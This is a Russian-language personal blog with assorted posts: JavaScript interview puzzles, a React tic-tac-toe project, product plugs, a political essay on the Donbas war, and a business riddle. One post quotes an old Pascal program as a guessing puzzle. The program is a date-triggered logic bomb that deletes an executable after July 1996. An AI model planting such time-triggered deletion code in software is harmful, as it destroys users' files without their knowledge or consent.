Задачки из Тестовых Заданий

Я тут по разным собеседованиям хожу, технические интервью регулярно прохожу…

Любимая задачка: перевернуть строку, по символьно, задом на перед.

Я понимаю зачем это надо уметь делать на С/C++ без дополнительного выделения памяти когда каждый байт на счету…
Но на собеседовании по JavaScript? Это ж интерпретируемый (иногда не однозначно) язык, где мегабайты памяти утекают по мелочи!

Ну ок, сел и на бумажке написал примерно вот такое. Выпендрился, fat arrow function заюзал 🙂

const reverseStringByHalfLoop = (value) => {
	const length = value.length; 
	const halfLength = Math.floor(length / 2);

	let result = value.split('');
	for (let i = 0; i < halfLength; i++) {
		const char = result[i];
		result[i] = result[(length - 1) - i];
		result[(length - 1) - i] = char;
	}
	return result.join('');	
}

Этот код поставил в тупик интервьювера! Он даже начал проверять что будет если длинна строки нечетная…

Отвечаю: ничего не будет, средний символ сразу стоит на своем месте 🙂

Ёбушки-воробушки© Вот мы и дожились до программистов (более того интервьюверов) которые про алгоритмы вроде и слышали, вопросы на собеседованиях задавать умеют, но вот «стандартные ответы» на эти вопросы видят в первый раз.

Оказалось от меня ожидали JavaScript style ответа. Я потом загуглил, типа вот такого:

function reverseStringByArray(value) {
	return value.split('').reverse().join('');
}

Ладно, проехали…

Вот вам еще вопрос (точнее связка) который уже 2 раза встречал:

  1. Напишите функцию которая суммирует все переданые в неё аргументы (прикол в том что кол-во аргументов может быть любым)
  2. Передайте в написаную вами выше функцию массив как список параметров (подколка на знание spread синтакстиса)

В общем очередная шизиловка 🙂 Если что, это делается это как-то так:


export const sumOfAllArgs = (...args) => {
	return [...args].reduce((a, b) => a + b, 0);
}

let arr = [1,2,3,4,5];
sumOfAllArgs(...arr);

Но я так и не понял зачем 2 вопроса об одном и том же? Скорее всего этим вопросам тоже 100 лет в обед, а раньше, до ES6 синтаксиса, решалось через proptypes или еще какую-то олдскульной JavaScript Magic.

В общем технические интервью это иногдза забавно. Но качество специалистов удручает… Все знают SOLID и меряются кол-вом патернов, а вот чужой код и best practices уже никто не изучает.

P.S. Да, я на старости подрабатываю программистом. Это прикольно, не дает мозгам засохнуть, ну и 30+ баксов в час это таки деньги 🙂

Крестики-Нолики на React JS

Что-то меня на приздниках пробило на по-программить. Раз такое дело, вот еще одна «поделка» и немного кода на JavaScript + React:

Играть в Крестики-Нолики прямо в браузере

Исходные коды игры Крестики-Нолики на JavaScript + React

Cо временем добавлю «всякой крастоты»: индикаторов, преключатель режимов PvP, PvE, Demo Mode и т.д.

Кто хочет изучить иностранный язык не выходя из дома?

Прогресс дошел до того что вы это легкто можете делать прямо со своего компьютера, общаячь с реальными людьми через Skype или другим способом на Preply.com

Отпишитесь потом что понравилось, что нет и что можно улучшить 🙂

P.S. А вот Preply виджет c выбором языка и города не работалет с LiveJournal 😦

Чем восстановить удаленные файлы с флешки

Часто народ задется таким вопросом если случайно удалил файлы или отформатировали флешку (USB Flash Drive). Есть много разных программ для востановления данных. Мой знакомый делает вот такую: Hetman Photo Recovery.

Пользуйтесь на здоровье 🙂

Корея v 2.0

После лета 2014 года стало понятно, что оружие всякие ДНР, ЛНР, казаки, чечены и «заблудившиеся» кадровые военные © просто так не сложат. Идет война на удержание времени, а не на достижения каких-то целей. Бесцельно и беспощадно, абы пострелять 😦

Но война стоит дорого, а в Украине и так с экономикой не фонтан… А еще настроения народа после холодной/голодной зимы, роста курса «зеленых бумажек» или еще какой беды, могут меняться как направление у флюгера. Если не брать ситуацию в свои руки, то закончится все печально. И неважно будут ли успехи на фронте. Народ устанет от войны, от экономической жопы, от бестолковой мобилизации, и прочего и прочего…

Если не дать четкий и понятный путь выхода из этой АТО-войны, то стране Украина будет каюк. Вариант кричать «ПТН ПНХ» и ждать развала России — это конечно весело, но даже если ВВП «отравиццо печенькой» © достаточно быстро, никто в Донбассе оружие так просто не сложит… Там даже после окончания войны блокпосты просуществуют годами.

Давно пора поднимать народ (не армию или волонтеров, а обычных рабочих и бизнесменов) на строительство укреп-районов и прочих сооружений военного назначения. Да на крайняк жилья для переселенцев из зоны конфликта, целыми поселками или микрорайонами городов. Главное что можно создать кучу рабочих мест, а люди подогреваемые чувством патриотизма на многое способны!

Ждать, что в Донбассе все потухнет и потом тратить кучу сил на восстановление после войны — это тупо в квадрате. Во-первых, ждать не понятно сколько времени, а во вторых «спасибо» даже местное население не скажет. Как бы все не старались, а потери людей и ценностей этому поколению мы уже не вернем 😦

Как по мне, то надо просто провести линию отчуждения (временная граница). Прямую и понятную. Не совпадающую со старыми административными округами во всех местах (чтобы не было кумовства и коррупции). Например, как две Кореи разделены по одной широте, но у нас можно по долготе. Что-то типа такого:

east-ukraine-border

И строить, строить, строить! Все подряд, вдоль нее и западнее. Пропускные пункты, военные базы, аэродромы, дороги, электростанции, новые поселки и города… Все что может пригодиться в будущем! Людей надо научить воспринимать, что это не линия какого-то фронта, а граница между жопой и надежой в будущее. Контраст может быть еще больше замотивирует людей.

А сидеть всей страной на диване. Да еще надеется на одних волонтеров, что они обеспечат армию, которой по бюджету выделяют денег меньше чем прокуратуре — это путь в никуда 😦

Украина 20+ лет жила без национальной идеи © Ну так мать вашу за ногу, что вам еще надо если можно объединится в борьбе против «внешнего» врага и начать, наконец, что-то строить и создавать. Сколько можно мутить и воровать на наследии СССР? Самое время начать делать новую страну, с трудоустроенным населением, с обновленной инфраструктурой, и главное с патриотически настроенным народом. Не упустите момент!

Как раньше программировали

Рылся в старых проектах, нашел «гениальную програмку» ©.

Угадайте что она делает и для чего такие вещи делали программисты в прошлом веке?

Program fignya;
Uses Dos;
Var
	y, m, d, dow: Word;
	flag        : Boolean;
	F           : File;
Begin
	Flag := True;
	GetDate(y, m, d, dow);
	
	if (y = 1996) then
	begin
		if (m<7) then Flag := False;
		if (m=7) and (d<10) then Flag := False;
	end;{if (y=1996) then}

	if (y < 1996) then Flag := False;

	if Flag then
	begin
		Assign(F, 'C:\SomeDir\SomeFile.EXE');
		Erase(F);
	end;
End.

Потом в каментах отвечу, интересно услышать что народ думает 🙂

Как же избавиться от «инвестора»?

Задачка для 5го класса.

У Васи был бизнес и он искал деньги на развитие, а у Коли в наследство досталось $100К. Коля проинвестировал в бизнес Васи $10K за 10% компании. Через год бизнес Васи зарабатывал $10к в месяц, и он платил Коле каждый месяц по 1000 долларов дивидендов. На третий год Вася решил что Коля как-то дофига денег получает, за ничего не деланье…

Вопросы: как Васе избавится от «инвестора» Коли, сколько это примерно будет стоит и где на это взять деньги?

P.S. Криминал не предлагать, потому что у Коли $90К на киллеров для все Васиной родни тоже имеется 🙂